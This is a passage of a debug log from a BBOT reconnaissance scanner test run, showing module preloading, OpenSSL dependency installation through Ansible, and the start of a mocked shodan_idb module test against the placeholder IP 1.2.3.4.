14:43:27,712 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 14:43:27,712 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 14:43:27,714 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 14:43:27,715 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 14:43:27,715 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 14:43:27,716 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 14:43:27,716 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 14:43:27,717 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 14:43:27,717 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 14:43:27,717 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 14:43:27,718 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 14:43:27,718 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 14:43:27,719 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 14:43:27,719 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 14:43:27,719 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 14:43:27,720 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 14:43:27,720 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 14:43:27,721 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 14:43:27,721 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 14:43:27,721 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 14:43:27,722 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 14:43:27,722 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 14:43:27,722 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 14:43:27,723 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 14:43:27,723 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 14:43:27,724 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 14:43:27,724 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 14:43:27,725 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 14:43:27,727 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 14:43:27,728 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 14:43:27,728 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 14:43:27,729 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 14:43:27,729 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 14:43:27,730 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 14:43:27,730 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 14:43:27,731 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 14:43:27,731 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 14:43:27,731 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 14:43:27,732 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 14:43:27,732 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 14:43:27,733 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 14:43:27,733 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 14:43:27,733 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 14:43:27,734 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 14:43:27,734 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 14:43:27,735 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 14:43:27,735 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 14:43:27,735 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 14:43:27,736 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 14:43:27,736 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 14:43:27,736 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 14:43:27,737 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 14:43:27,737 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 14:43:27,738 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 14:43:27,738 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 14:43:27,739 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 14:43:27,739 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 14:43:27,740 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 14:43:27,740 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 14:43:27,740 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 14:43:27,741 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 14:43:27,741 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 14:43:27,741 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 14:43:27,742 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 14:43:27,742 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 14:43:27,743 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 14:43:27,743 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 14:43:27,743 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 14:43:27,744 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 14:43:27,744 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 14:43:27,744 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 14:43:27,745 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 14:43:27,745 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 14:43:27,746 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 14:43:27,746 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 14:43:27,746 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 14:43:27,747 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 14:43:27,747 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 14:43:27,748 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 14:43:27,748 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 14:43:27,748 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 14:43:27,749 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 14:43:27,749 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 14:43:27,750 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 14:43:27,750 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 14:43:27,751 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 14:43:27,751 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 14:43:27,751 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 14:43:27,752 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 14:43:27,752 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 14:43:27,753 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 14:43:27,753 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 14:43:27,753 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 14:43:27,754 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 14:43:27,754 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 14:43:27,755 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 14:43:27,755 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 14:43:27,755 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 14:43:27,756 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 14:43:27,756 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 14:43:27,756 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 14:43:27,757 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 14:43:27,757 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 14:43:27,758 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 14:43:27,758 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 14:43:27,758 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 14:43:27,759 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output +2026-02-27 14:43:27,759 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 14:43:27,760 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 14:43:27,760 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 14:43:27,760 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 14:43:27,761 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 14:43:27,761 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 14:43:27,762 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 14:43:27,762 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 14:43:27,763 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 14:43:27,763 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 14:43:27,764 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 14:43:27,764 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 14:43:27,765 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 14:43:27,765 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 14:43:27,765 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 14:43:27,766 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 14:43:27,766 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 14:43:27,767 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 14:43:27,767 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 14:43:27,768 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 14:43:27,768 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 14:43:27,769 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates +2026-02-27 14:43:27,770 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal +2026-02-27 14:43:27,770 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 14:43:27,770 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 14:43:27,771 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 14:43:27,771 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 14:43:27,771 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 14:43:27,772 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 14:43:27,772 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report +2026-02-27 14:43:27,772 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 14:43:27,773 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 14:43:28,565 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-02-27 14:43:28,565 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-02-27 14:43:28,566 [INFO] bbot base.py:99 Starting shodan_idb module test +2026-02-27 14:43:28,660 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 14:43:29,038 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_idb" of type "scan" +2026-02-27 14:43:29,038 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 14:43:29,039 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 14:43:29,039 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 14:43:29,169 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 14:43:29,170 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 14:43:29,276 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 14:43:29,277 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 14:43:29,302 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 14:43:29,304 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 14:43:29,304 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general +2026-02-27 14:43:29,704 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 14:43:29,705 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 14:43:34,336 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful +2026-02-27 14:43:34,337 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 14:43:34,337 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 14:43:36,054 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 14:43:36,054 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 14:43:36,058 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 14:43:36,058 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 14:43:36,058 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 14:43:36,058 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 14:43:36,058 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 14:43:36,059 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 14:43:36,059 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_idb - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 14:43:36,059 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "shodan_idb" +2026-02-27 14:43:36,060 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_idb +2026-02-27 14:43:36,124 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_idb" +2026-02-27 14:43:36,125 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_idb) +2026-02-27 14:43:36,125 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 14:43:36,126 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" +2026-02-27 14:43:36,126 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" +2026-02-27 14:43:36,126 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 14:43:36,126 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python +2026-02-27 14:43:36,127 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" +2026-02-27 14:43:36,127 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 14:43:36,127 [VERBOSE] bbot.scanner logger.py:151 Setting up modules +2026-02-27 14:43:36,128 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 14:43:36,128 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 14:43:36,129 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 14:43:36,129 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 14:43:36,129 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 14:43:36,129 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 14:43:36,129 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 14:43:36,130 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 14:43:36,130 [DEBUG] bbot.modules.shodan_idb base.py:1563 Setting up module shodan_idb +2026-02-27 14:43:36,130 [DEBUG] bbot.modules.shodan_idb base.py:1563 Running shodan_idb.setup_deps() +2026-02-27 14:43:36,130 [DEBUG] bbot.modules.shodan_idb base.py:1563 Running shodan_idb.setup() +2026-02-27 14:43:36,130 [DEBUG] bbot.modules.shodan_idb base.py:1563 Finished setting up module shodan_idb +2026-02-27 14:43:36,130 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 14:43:36,130 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 14:43:36,131 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 14:43:36,131 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 14:43:36,131 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 14:43:36,131 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 14:43:36,131 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 14:43:36,131 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 14:43:36,132 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 14:43:36,132 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 14:43:36,132 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 14:43:36,132 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 14:43:36,132 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_idb (success) +2026-02-27 14:43:36,133 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 14:43:36,133 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 14:43:36,133 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 14:43:36,133 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 14:43:36,133 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 14:43:36,133 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 14:43:36,134 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 14:43:36,134 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. +2026-02-27 14:43:36,134 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 14:43:36,134 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 14:43:36,212 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_idb_test_4z8bbmuspg +2026-02-27 14:43:36,213 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops +2026-02-27 14:43:36,278 [VERBOSE] bbot.scanner logger.py:151 6 modules started +2026-02-27 14:43:36,278 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 14:43:36,279 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 14:43:36,280 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-02-27 14:43:36,380 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check +2026-02-27 14:43:36,380 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-02-27 14:43:36,382 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target +2026-02-27 14:43:36,382 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 14:43:36,383 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) passed post-check +2026-02-27 14:43:36,384 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) +2026-02-27 14:43:36,385 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-02-27 14:43:36,385 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 14:43:36,386 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) +2026-02-27 14:43:36,387 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 14:43:36,387 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) +2026-02-27 14:43:36,388 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) passed post-check +2026-02-27 14:43:36,388 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) +2026-02-27 14:43:36,390 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) +2026-02-27 14:43:36,390 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 14:43:36,392 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 14:43:36,392 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-02-27 14:43:36,392 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 14:43:36,393 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 14:43:36,393 [DEBUG] bbot.modules.shodan_idb base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-02-27 14:43:36,394 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-02-27 14:43:36,394 [DEBUG] bbot.modules.shodan_idb base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-02-27 14:43:36,394 [DEBUG] bbot.modules.shodan_idb base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-02-27 14:43:36,394 [DEBUG] bbot.modules.shodan_idb base.py:1563 Handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 